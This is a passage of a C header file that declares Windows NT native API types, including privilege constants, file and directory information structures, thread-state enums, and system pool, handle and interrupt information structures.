(25L)\r\n#define SE_SYNC_AGENT_PRIVILEGE (26L)\r\n#define SE_ENABLE_DELEGATION_PRIVILEGE (27L)\r\n#define SE_MANAGE_VOLUME_PRIVILEGE (28L)\r\n#define SE_IMPERSONATE_PRIVILEGE (29L)\r\n#define SE_CREATE_GLOBAL_PRIVILEGE (30L)\r\n#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L)\r\n#define SE_RELABEL_PRIVILEGE (32L)\r\n#define SE_INC_WORKING_SET_PRIVILEGE (33L)\r\n#define SE_TIME_ZONE_PRIVILEGE (34L)\r\n#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L)\r\n#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE\r\n\r\ntypedef struct _CLIENT_ID\r\n{\r\n\tHANDLE UniqueProcess;\r\n\tHANDLE UniqueThread;\r\n} CLIENT_ID, *PCLIENT_ID;\r\n\r\ntypedef struct _CLIENT_ID32\r\n{\r\n\tULONG UniqueProcess;\r\n\tULONG UniqueThread;\r\n} CLIENT_ID32, *PCLIENT_ID32;\r\n\r\ntypedef struct _CLIENT_ID64\r\n{\r\n\tULONGLONG UniqueProcess;\r\n\tULONGLONG UniqueThread;\r\n} CLIENT_ID64, *PCLIENT_ID64;\r\n\r\n#include <pshpack4.h>\r\n\r\ntypedef struct _KSYSTEM_TIME\r\n{\r\n\tULONG LowPart;\r\n\tLONG High1Time;\r\n\tLONG High2Time;\r\n} KSYSTEM_TIME, *PKSYSTEM_TIME;\r\n\r\n#include <poppack.h>\r\n\r\n//\r\n// FILE_INFORMATION\r\n//\r\n//readded 17.09.11 EP_X0FF\r\n\r\ntypedef struct _FILE_BASIC_INFORMATION {                    // ntddk wdm nthal\r\n\tLARGE_INTEGER CreationTime;                             // ntddk wdm nthal\r\n\tLARGE_INTEGER LastAccessTime;                           // ntddk wdm nthal\r\n\tLARGE_INTEGER LastWriteTime;                            // ntddk wdm nthal\r\n\tLARGE_INTEGER ChangeTime;                               // ntddk wdm nthal\r\n\tULONG FileAttributes;                                   // ntddk wdm nthal\r\n} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;         // ntddk wdm nthal\r\n\r\ntypedef struct _FILE_STANDARD_INFORMATION\r\n{\r\n\tLARGE_INTEGER AllocationSize;\r\n\tLARGE_INTEGER EndOfFile;\r\n\tULONG NumberOfLinks;\r\n\tUCHAR DeletePending;\r\n\tUCHAR Directory;\r\n} FILE_STANDARD_INFORMATION;\r\n\r\ntypedef struct _FILE_INTERNAL_INFORMATION {\r\n    LARGE_INTEGER IndexNumber;\r\n} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;\r\n\r\ntypedef struct _FILE_EA_INFORMATION {\r\n    ULONG EaSize;\r\n} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;\r\n\r\ntypedef struct _FILE_ACCESS_INFORMATION {\r\n    ACCESS_MASK AccessFlags;\r\n} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;\r\n\r\ntypedef struct _FILE_POSITION_INFORMATION {                 // ntddk wdm nthal\r\n    LARGE_INTEGER CurrentByteOffset;                        // ntddk wdm nthal\r\n} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION;   // ntddk wdm nthal\r\n                                                            // ntddk wdm nthal\r\ntypedef struct _FILE_MODE_INFORMATION {\r\n    ULONG Mode;\r\n} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;\r\n\r\ntypedef struct _FILE_ALIGNMENT_INFORMATION {                // ntddk nthal\r\n    ULONG AlignmentRequirement;                             // ntddk nthal\r\n} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; // ntddk nthal\r\n                                                            // ntddk nthal\r\ntypedef struct _FILE_NAME_INFORMATION {                     // ntddk\r\n    ULONG FileNameLength;                                   // ntddk\r\n    WCHAR FileName[1];                                      // ntddk\r\n} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;           // ntddk\r\n\r\ntypedef struct _FILE_ALL_INFORMATION {\r\n    FILE_BASIC_INFORMATION BasicInformation;\r\n    FILE_STANDARD_INFORMATION StandardInformation;\r\n    FILE_INTERNAL_INFORMATION InternalInformation;\r\n    FILE_EA_INFORMATION EaInformation;\r\n    FILE_ACCESS_INFORMATION AccessInformation;\r\n    FILE_POSITION_INFORMATION PositionInformation;\r\n    FILE_MODE_INFORMATION ModeInformation;\r\n    FILE_ALIGNMENT_INFORMATION AlignmentInformation;\r\n    FILE_NAME_INFORMATION NameInformation;\r\n} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;\r\n\r\ntypedef struct _FILE_NETWORK_OPEN_INFORMATION {                 // ntddk wdm nthal\r\n    LARGE_INTEGER CreationTime;                                 // ntddk wdm nthal\r\n    LARGE_INTEGER LastAccessTime;                               // ntddk wdm nthal\r\n    LARGE_INTEGER LastWriteTime;                                // ntddk wdm nthal\r\n    LARGE_INTEGER ChangeTime;                                   // ntddk wdm nthal\r\n    LARGE_INTEGER AllocationSize;                               // ntddk wdm nthal\r\n    LARGE_INTEGER EndOfFile;                                    // ntddk wdm nthal\r\n    ULONG FileAttributes;                                       // ntddk wdm nthal\r\n} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;   // ntddk wdm nthal\r\n                                                                // ntddk wdm nthal\r\ntypedef struct _FILE_ATTRIBUTE_TAG_INFORMATION {               // ntddk nthal\r\n    ULONG FileAttributes;                                       // ntddk nthal\r\n    ULONG ReparseTag;                                           // ntddk nthal\r\n} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION;  // ntddk nthal\r\n                                                                // ntddk nthal\r\ntypedef struct _FILE_ALLOCATION_INFORMATION {\r\n    LARGE_INTEGER AllocationSize;\r\n} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;\r\n\r\ntypedef struct _FILE_COMPRESSION_INFORMATION {\r\n    LARGE_INTEGER CompressedFileSize;\r\n    USHORT CompressionFormat;\r\n    UCHAR CompressionUnitShift;\r\n    UCHAR ChunkShift;\r\n    UCHAR ClusterShift;\r\n    UCHAR Reserved[3];\r\n} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION;\r\n\r\ntypedef struct _FILE_DISPOSITION_INFORMATION {                  // ntddk nthal\r\n    BOOLEAN DeleteFile;                                         // ntddk nthal\r\n} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; // ntddk nthal\r\n                                                                // ntddk nthal\r\ntypedef struct _FILE_END_OF_FILE_INFORMATION {                  // ntddk nthal\r\n    LARGE_INTEGER EndOfFile;                                    // ntddk nthal\r\n} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; // ntddk nthal\r\n                                                                // ntddk nthal\r\ntypedef struct _FILE_VALID_DATA_LENGTH_INFORMATION {                                    // ntddk nthal\r\n    LARGE_INTEGER ValidDataLength;                                                      // ntddk nthal\r\n} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION;             // ntddk nthal\r\n\r\ntypedef struct _FILE_LINK_INFORMATION {\r\n    BOOLEAN ReplaceIfExists;\r\n    HANDLE RootDirectory;\r\n    ULONG FileNameLength;\r\n    WCHAR FileName[1];\r\n} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION;\r\n\r\ntypedef struct _FILE_MOVE_CLUSTER_INFORMATION {\r\n    ULONG ClusterCount;\r\n    HANDLE RootDirectory;\r\n    ULONG FileNameLength;\r\n    WCHAR FileName[1];\r\n} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION;\r\n\r\ntypedef struct _FILE_RENAME_INFORMATION {\r\n    BOOLEAN ReplaceIfExists;\r\n    HANDLE RootDirectory;\r\n    ULONG FileNameLength;\r\n    WCHAR FileName[1];\r\n} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;\r\n\r\ntypedef struct _FILE_STREAM_INFORMATION {\r\n    ULONG NextEntryOffset;\r\n    ULONG StreamNameLength;\r\n    LARGE_INTEGER StreamSize;\r\n    LARGE_INTEGER StreamAllocationSize;\r\n    WCHAR StreamName[1];\r\n} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION;\r\n\r\ntypedef struct _FILE_TRACKING_INFORMATION {\r\n    HANDLE DestinationFile;\r\n    ULONG ObjectInformationLength;\r\n    CHAR ObjectInformation[1];\r\n} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION;\r\n\r\ntypedef struct _FILE_COMPLETION_INFORMATION {\r\n    HANDLE Port;\r\n    PVOID Key;\r\n} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION;\r\n\r\ntypedef struct _FILE_PIPE_INFORMATION {\r\n     ULONG ReadMode;\r\n     ULONG CompletionMode;\r\n} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION;\r\n\r\ntypedef struct _FILE_PIPE_LOCAL_INFORMATION {\r\n     ULONG NamedPipeType;\r\n     ULONG NamedPipeConfiguration;\r\n     ULONG MaximumInstances;\r\n     ULONG CurrentInstances;\r\n     ULONG InboundQuota;\r\n     ULONG ReadDataAvailable;\r\n     ULONG OutboundQuota;\r\n     ULONG WriteQuotaAvailable;\r\n     ULONG NamedPipeState;\r\n     ULONG NamedPipeEnd;\r\n} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION;\r\n\r\ntypedef struct _FILE_PIPE_REMOTE_INFORMATION {\r\n     LARGE_INTEGER CollectDataTime;\r\n     ULONG MaximumCollectionCount;\r\n} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION;\r\n\r\ntypedef struct _FILE_MAILSLOT_QUERY_INFORMATION {\r\n    ULONG MaximumMessageSize;\r\n    ULONG MailslotQuota;\r\n    ULONG NextMessageSize;\r\n    ULONG MessagesAvailable;\r\n    LARGE_INTEGER ReadTimeout;\r\n} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION;\r\n\r\ntypedef struct _FILE_MAILSLOT_SET_INFORMATION {\r\n    PLARGE_INTEGER ReadTimeout;\r\n} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION;\r\n\r\ntypedef struct _FILE_REPARSE_POINT_INFORMATION {\r\n    LONGLONG FileReference;\r\n    ULONG Tag;\r\n} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION;\r\n\r\n//\r\n// NtQuery(Set)EaFile\r\n//\r\n// The offset for the start of EaValue is EaName[EaNameLength + 1]\r\n//\r\n\r\n// begin_ntddk begin_wdm\r\n\r\ntypedef struct _FILE_FULL_EA_INFORMATION {\r\n    ULONG NextEntryOffset;\r\n    UCHAR Flags;\r\n    UCHAR EaNameLength;\r\n    USHORT EaValueLength;\r\n    CHAR EaName[1];\r\n} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;\r\n\r\n// end_ntddk end_wdm\r\n\r\ntypedef struct _FILE_GET_EA_INFORMATION {\r\n    ULONG NextEntryOffset;\r\n    UCHAR EaNameLength;\r\n    CHAR EaName[1];\r\n} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;\r\n\r\n//\r\n// NtQuery(Set)QuotaInformationFile\r\n//\r\n\r\ntypedef struct _FILE_GET_QUOTA_INFORMATION {\r\n    ULONG NextEntryOffset;\r\n    ULONG SidLength;\r\n    SID Sid;\r\n} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION;\r\n\r\ntypedef struct _FILE_QUOTA_INFORMATION {\r\n    ULONG NextEntryOffset;\r\n    ULONG SidLength;\r\n    LARGE_INTEGER ChangeTime;\r\n    LARGE_INTEGER QuotaUsed;\r\n    LARGE_INTEGER QuotaThreshold;\r\n    LARGE_INTEGER QuotaLimit;\r\n    SID Sid;\r\n} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION;\r\n\r\n//\r\n// NtQueryDirectoryFile return types:\r\n//\r\n//      FILE_DIRECTORY_INFORMATION\r\n//      FILE_FULL_DIR_INFORMATION\r\n//      FILE_ID_FULL_DIR_INFORMATION\r\n//      FILE_BOTH_DIR_INFORMATION\r\n//      FILE_ID_BOTH_DIR_INFORMATION\r\n//      FILE_NAMES_INFORMATION\r\n//      FILE_OBJECTID_INFORMATION\r\n//\r\n\r\ntypedef struct _FILE_DIRECTORY_INFORMATION {\r\n    ULONG NextEntryOffset;\r\n    ULONG FileIndex;\r\n    LARGE_INTEGER CreationTime;\r\n    LARGE_INTEGER LastAccessTime;\r\n    LARGE_INTEGER LastWriteTime;\r\n    LARGE_INTEGER ChangeTime;\r\n    LARGE_INTEGER EndOfFile;\r\n    LARGE_INTEGER AllocationSize;\r\n    ULONG FileAttributes;\r\n    ULONG FileNameLength;\r\n    WCHAR FileName[1];\r\n} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;\r\n\r\ntypedef struct _FILE_FULL_DIR_INFORMATION {\r\n    ULONG NextEntryOffset;\r\n    ULONG FileIndex;\r\n    LARGE_INTEGER CreationTime;\r\n    LARGE_INTEGER LastAccessTime;\r\n    LARGE_INTEGER LastWriteTime;\r\n    LARGE_INTEGER ChangeTime;\r\n    LARGE_INTEGER EndOfFile;\r\n    LARGE_INTEGER AllocationSize;\r\n    ULONG FileAttributes;\r\n    ULONG FileNameLength;\r\n    ULONG EaSize;\r\n    WCHAR FileName[1];\r\n} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;\r\n\r\ntypedef struct _FILE_ID_FULL_DIR_INFORMATION {\r\n    ULONG NextEntryOffset;\r\n    ULONG FileIndex;\r\n    LARGE_INTEGER CreationTime;\r\n    LARGE_INTEGER LastAccessTime;\r\n    LARGE_INTEGER LastWriteTime;\r\n    LARGE_INTEGER ChangeTime;\r\n    LARGE_INTEGER EndOfFile;\r\n    LARGE_INTEGER AllocationSize;\r\n    ULONG FileAttributes;\r\n    ULONG FileNameLength;\r\n    ULONG EaSize;\r\n    LARGE_INTEGER FileId;\r\n    WCHAR FileName[1];\r\n} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;\r\n\r\ntypedef struct _FILE_BOTH_DIR_INFORMATION {\r\n    ULONG NextEntryOffset;\r\n    ULONG FileIndex;\r\n    LARGE_INTEGER CreationTime;\r\n    LARGE_INTEGER LastAccessTime;\r\n    LARGE_INTEGER LastWriteTime;\r\n    LARGE_INTEGER ChangeTime;\r\n    LARGE_INTEGER EndOfFile;\r\n    LARGE_INTEGER AllocationSize;\r\n    ULONG FileAttributes;\r\n    ULONG FileNameLength;\r\n    ULONG EaSize;\r\n    CCHAR ShortNameLength;\r\n    WCHAR ShortName[12];\r\n    WCHAR FileName[1];\r\n} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;\r\n\r\ntypedef struct _FILE_ID_BOTH_DIR_INFORMATION {\r\n    ULONG NextEntryOffset;\r\n    ULONG FileIndex;\r\n    LARGE_INTEGER CreationTime;\r\n    LARGE_INTEGER LastAccessTime;\r\n    LARGE_INTEGER LastWriteTime;\r\n    LARGE_INTEGER ChangeTime;\r\n    LARGE_INTEGER EndOfFile;\r\n    LARGE_INTEGER AllocationSize;\r\n    ULONG FileAttributes;\r\n    ULONG FileNameLength;\r\n    ULONG EaSize;\r\n    CCHAR ShortNameLength;\r\n    WCHAR ShortName[12];\r\n    LARGE_INTEGER FileId;\r\n    WCHAR FileName[1];\r\n} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;\r\n\r\ntypedef struct _FILE_NAMES_INFORMATION {\r\n    ULONG NextEntryOffset;\r\n    ULONG FileIndex;\r\n    ULONG FileNameLength;\r\n    WCHAR FileName[1];\r\n} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;\r\n\r\ntypedef struct _FILE_OBJECTID_INFORMATION {\r\n    LONGLONG FileReference;\r\n    UCHAR ObjectId[16];\r\n    union {\r\n        struct {\r\n            UCHAR BirthVolumeId[16];\r\n            UCHAR BirthObjectId[16];\r\n            UCHAR DomainId[16];\r\n        } ;\r\n        UCHAR ExtendedInfo[48];\r\n    };\r\n} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION;\r\n\r\n\r\n//\r\n// SYSTEM_INFORMATION\r\n//\r\n\r\ntypedef struct _SYSTEM_GDI_DRIVER_INFORMATION\r\n{\r\n\tUNICODE_STRING DriverName;\r\n\tPVOID ImageAddress;\r\n\tPVOID SectionPointer;\r\n\tPVOID EntryPoint;\r\n\tPIMAGE_EXPORT_DIRECTORY ExportSectionPointer;\r\n\tULONG ImageLength;\r\n} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_EXCEPTION_INFORMATION\r\n{\r\n\tULONG AlignmentFixupCount;\r\n\tULONG ExceptionDispatchCount;\r\n\tULONG FloatingEmulationCount;\r\n\tULONG ByteWordEmulationCount;\r\n} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION;\r\n\r\n//\r\n// taken from http://www.acc.umu.se/~bosse/ntifs.h - contents are questionable.\r\n//\r\n\r\ntypedef enum _THREAD_STATE\r\n{\r\n\tStateInitialized,\r\n\tStateReady,\r\n\tStateRunning,\r\n\tStateStandby,\r\n\tStateTerminated,\r\n\tStateWait,\r\n\tStateTransition,\r\n\tStateUnknown\r\n} THREAD_STATE;\r\n\r\ntypedef enum _KWAIT_REASON {\r\n\tExecutive,\r\n\tFreePage,\r\n\tPageIn,\r\n\tPoolAllocation,\r\n\tDelayExecution,\r\n\tSuspended,\r\n\tUserRequest,\r\n\tWrExecutive,\r\n\tWrFreePage,\r\n\tWrPageIn,\r\n\tWrPoolAllocation,\r\n\tWrDelayExecution,\r\n\tWrSuspended,\r\n\tWrUserRequest,\r\n\tWrEventPair,\r\n\tWrQueue,\r\n\tWrLpcReceive,\r\n\tWrLpcReply,\r\n\tWrVirtualMemory,\r\n\tWrPageOut,\r\n\tWrRendezvous,\r\n\tSpare2,\r\n\tSpare3,\r\n\tSpare4,\r\n\tSpare5,\r\n\tSpare6,\r\n\tWrKernel,\r\n\tWrResource,\r\n\tWrPushLock,\r\n\tWrMutex,\r\n\tWrQuantumEnd,\r\n\tWrDispatchInt,\r\n\tWrPreempted,\r\n\tWrYieldExecution,\r\n\tWrFastMutex,\r\n\tWrGuardedMutex,\r\n\tWrRundown,\r\n\tMaximumWaitReason\r\n} KWAIT_REASON;\r\n\r\n//FIXED 21.02.2011 size for x64/x86\r\ntypedef struct _SYSTEM_THREAD_INFORMATION {\r\n\tLARGE_INTEGER   KernelTime;\r\n\tLARGE_INTEGER   UserTime;\r\n\tLARGE_INTEGER   CreateTime;\r\n\tULONG           WaitTime;\r\n\tPVOID           StartAddress;\r\n\tCLIENT_ID       ClientId;\r\n\tKPRIORITY       Priority;\r\n\tKPRIORITY       BasePriority;\r\n\tULONG           ContextSwitchCount;\r\n\tTHREAD_STATE    State;\r\n\tKWAIT_REASON    WaitReason;\r\n} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION {\r\n\tSYSTEM_THREAD_INFORMATION ThreadInfo;\r\n\tPVOID StackBase;\r\n\tPVOID StackLimit;\r\n\tPVOID Win32StartAddress;\r\n\tULONG_PTR Reserved1;\r\n\tULONG_PTR Reserved2;\r\n\tULONG_PTR Reserved3;\r\n\tULONG_PTR Reserved4;\r\n} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_POOL_ENTRY {\r\n\tBOOLEAN Allocated;\r\n\tBOOLEAN Spare0;\r\n\tUSHORT AllocatorBackTraceIndex;\r\n\tULONG Size;\r\n\tunion {\r\n\t\tUCHAR Tag[4];\r\n\t\tULONG TagUlong;\r\n\t\tPVOID ProcessChargedQuota;\r\n\t};\r\n} SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY;\r\n\r\ntypedef struct _SYSTEM_POOL_INFORMATION {\r\n\tSIZE_T TotalSize;\r\n\tPVOID FirstEntry;\r\n\tUSHORT EntryOverhead;\r\n\tBOOLEAN PoolTagPresent;\r\n\tBOOLEAN Spare0;\r\n\tULONG NumberOfEntries;\r\n\tSYSTEM_POOL_ENTRY Entries[1];\r\n} SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_POOLTAG {\r\n\tunion {\r\n\t\tUCHAR Tag[4];\r\n\t\tULONG TagUlong;\r\n\t};\r\n\tULONG PagedAllocs;\r\n\tULONG PagedFrees;\r\n\tSIZE_T PagedUsed;\r\n\tULONG NonPagedAllocs;\r\n\tULONG NonPagedFrees;\r\n\tSIZE_T NonPagedUsed;\r\n} SYSTEM_POOLTAG, *PSYSTEM_POOLTAG;\r\n\r\ntypedef struct _SYSTEM_BIGPOOL_ENTRY {\r\n\tunion {\r\n\t\tPVOID VirtualAddress;\r\n\t\tULONG_PTR NonPaged : 1;     // Set to 1 if entry is nonpaged.\r\n\t};\r\n\tSIZE_T SizeInBytes;\r\n\tunion {\r\n\t\tUCHAR Tag[4];\r\n\t\tULONG TagUlong;\r\n\t};\r\n} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY;\r\n\r\ntypedef struct _SYSTEM_POOLTAG_INFORMATION\r\n{\r\n\tULONG Count;\r\n\tSYSTEM_POOLTAG TagInfo[ 1 ];\r\n} SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION {\r\n\tSIZE_T NextEntryOffset;\r\n\tULONG SessionId;\r\n\tULONG Count;\r\n\tSYSTEM_POOLTAG TagInfo[ 1 ];\r\n} SYSTEM_SESSION_POOLTAG_INFORMATION, *PSYSTEM_SESSION_POOLTAG_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_BIGPOOL_INFORMATION {\r\n\tULONG Count;\r\n\tSYSTEM_BIGPOOL_ENTRY AllocatedInfo[ 1 ];\r\n} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO\r\n{\r\n\tUSHORT UniqueProcessId;\r\n\tUSHORT CreatorBackTraceIndex;\r\n\tUCHAR ObjectTypeIndex;\r\n\tUCHAR HandleAttributes;\r\n\tUSHORT HandleValue;\r\n\tPVOID Object;\r\n\tULONG GrantedAccess;\r\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;\r\n\r\ntypedef struct _SYSTEM_HANDLE_INFORMATION\r\n{\r\n\tULONG NumberOfHandles;\r\n\tSYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ];\r\n} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX\r\n{\r\n\tPVOID Object;\r\n\tULONG UniqueProcessId;\r\n\tULONG HandleValue;\r\n\tULONG GrantedAccess;\r\n\tUSHORT CreatorBackTraceIndex;\r\n\tUSHORT ObjectTypeIndex;\r\n\tULONG HandleAttributes;\r\n\tULONG Reserved;\r\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;\r\n\r\ntypedef struct _SYSTEM_HANDLE_INFORMATION_EX\r\n{\r\n\tULONG NumberOfHandles;\r\n\tULONG Reserved;\r\n\tstruct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[ 1 ];\r\n} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;\r\n\r\ntypedef struct _SYSTEM_SPECIAL_POOL_INFORMATION\r\n{\r\n\tULONG PoolTag;\r\n\tULONG Flags;\r\n} SYSTEM_SPECIAL_POOL_INFORMATION, *PSYSTEM_SPECIAL_POOL_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_OBJECTTYPE_INFORMATION\r\n{\r\n\tULONG NextEntryOffset;\r\n\tULONG NumberOfObjects;\r\n\tULONG NumberOfHandles;\r\n\tULONG TypeIndex;\r\n\tULONG InvalidAttributes;\r\n\tGENERIC_MAPPING GenericMapping;\r\n\tULONG ValidAccessMask;\r\n\tULONG PoolType;\r\n\tUCHAR SecurityRequired;\r\n\tUCHAR WaitableObject;\r\n\tUNICODE_STRING TypeName;\r\n} SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_HIBERFILE_INFORMATION\r\n{\r\n\tULONG NumberOfMcbPairs;\r\n\tLARGE_INTEGER Mcb[ 1 ];\r\n} SYSTEM_HIBERFILE_INFORMATION, *PSYSTEM_HIBERFILE_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION {\r\n\tBOOLEAN KernelDebuggerEnabled;\r\n\tBOOLEAN KernelDebuggerNotPresent;\r\n} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION {\r\n\tULONG  RegistryQuotaAllowed;\r\n\tULONG  RegistryQuotaUsed;\r\n\tSIZE_T PagedPoolSize;\r\n} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION {\r\n\tULONG ContextSwitches;\r\n\tULONG FindAny;\r\n\tULONG FindLast;\r\n\tULONG FindIdeal;\r\n\tULONG IdleAny;\r\n\tULONG IdleCurrent;\r\n\tULONG IdleLast;\r\n\tULONG IdleIdeal;\r\n\tULONG PreemptAny;\r\n\tULONG PreemptCurrent;\r\n\tULONG PreemptLast;\r\n\tULONG SwitchToIdle;\r\n} SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION {\r\n\tSIZE_T NextEntryOffset;\r\n\tULONG SessionId;\r\n\tULONG ViewFailures;\r\n\tSIZE_T NumberOfBytesAvailable;\r\n\tSIZE_T NumberOfBytesAvailableContiguous;\r\n} SYSTEM_SESSION_MAPPED_VIEW_INFORMATION, *PSYSTEM_SESSION_MAPPED_VIEW_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_INTERRUPT_INFORMATION {\r\n\tULONG ContextSwitches;\r\n\tULONG DpcCount;\r\n\tULONG DpcRate;\r\n\tULONG TimeIncrement;\r\n\tULONG DpcBypassCount;\r\n\tULONG ApcBypassCount;\r\n} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION {\r\n\tULONG Spare;\r\n\tULONG DpcQueueDepth;\r\n\tULONG MinimumDpcRate;\r\n\tULONG AdjustDpcThreshold;\r\n\tULONG IdealDpcRate;\r\n} SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_LOOKASIDE_INFORMATION {\r\n\tUSHORT CurrentDepth;\r\n\tUSHORT MaximumDepth;\r\n\tULONG TotalAllocates;\r\n\tULONG AllocateMisses;\r\n\tULONG TotalFrees;\r\n\tULONG FreeMisses;\r\n\tULONG Type;\r\n\tULONG Tag;\r\n\tULONG Size;\r\n} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION {\r\n\tULONG VetoType;\r\n\tUNICODE_STRING VetoList;\r\n} SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_VDM_INSTEMUL_INFO\r\n{\r\n\tULONG SegmentNotPresent;\r\n\tULONG VdmOpcode0F;\r\n\tULONG OpcodeESPrefix;\r\n\tULONG OpcodeCSPrefix;\r\n\tULONG OpcodeSSPrefix;\r\n\tULONG OpcodeDSPrefix;\r\n\tULONG OpcodeFSPrefix;\r\n\tULONG OpcodeGSPrefix;\r\n\tULONG OpcodeOPER32Prefix;\r\n\tULONG OpcodeADDR32Prefix;\r\n\tULONG OpcodeINSB;\r\n\tULONG OpcodeINSW;\r\n\tULONG OpcodeOUTSB;\r\n\tULONG OpcodeOUTSW;\r\n\tULONG OpcodePUSHF;\r\n\tULONG OpcodePOPF;\r\n\tULONG OpcodeINTnn;\r\n\tULONG OpcodeINTO;\r\n\tULONG OpcodeIRET;\r\n\tULONG OpcodeINBimm;\r\n\tULONG OpcodeINWimm;\r\n\tULONG OpcodeOUTBimm;\r\n\tULONG OpcodeOUTWimm;\r\n\tULONG OpcodeINB;\r\n\tULONG OpcodeINW;\r\n\tULONG OpcodeOUTB;\r\n\tULONG 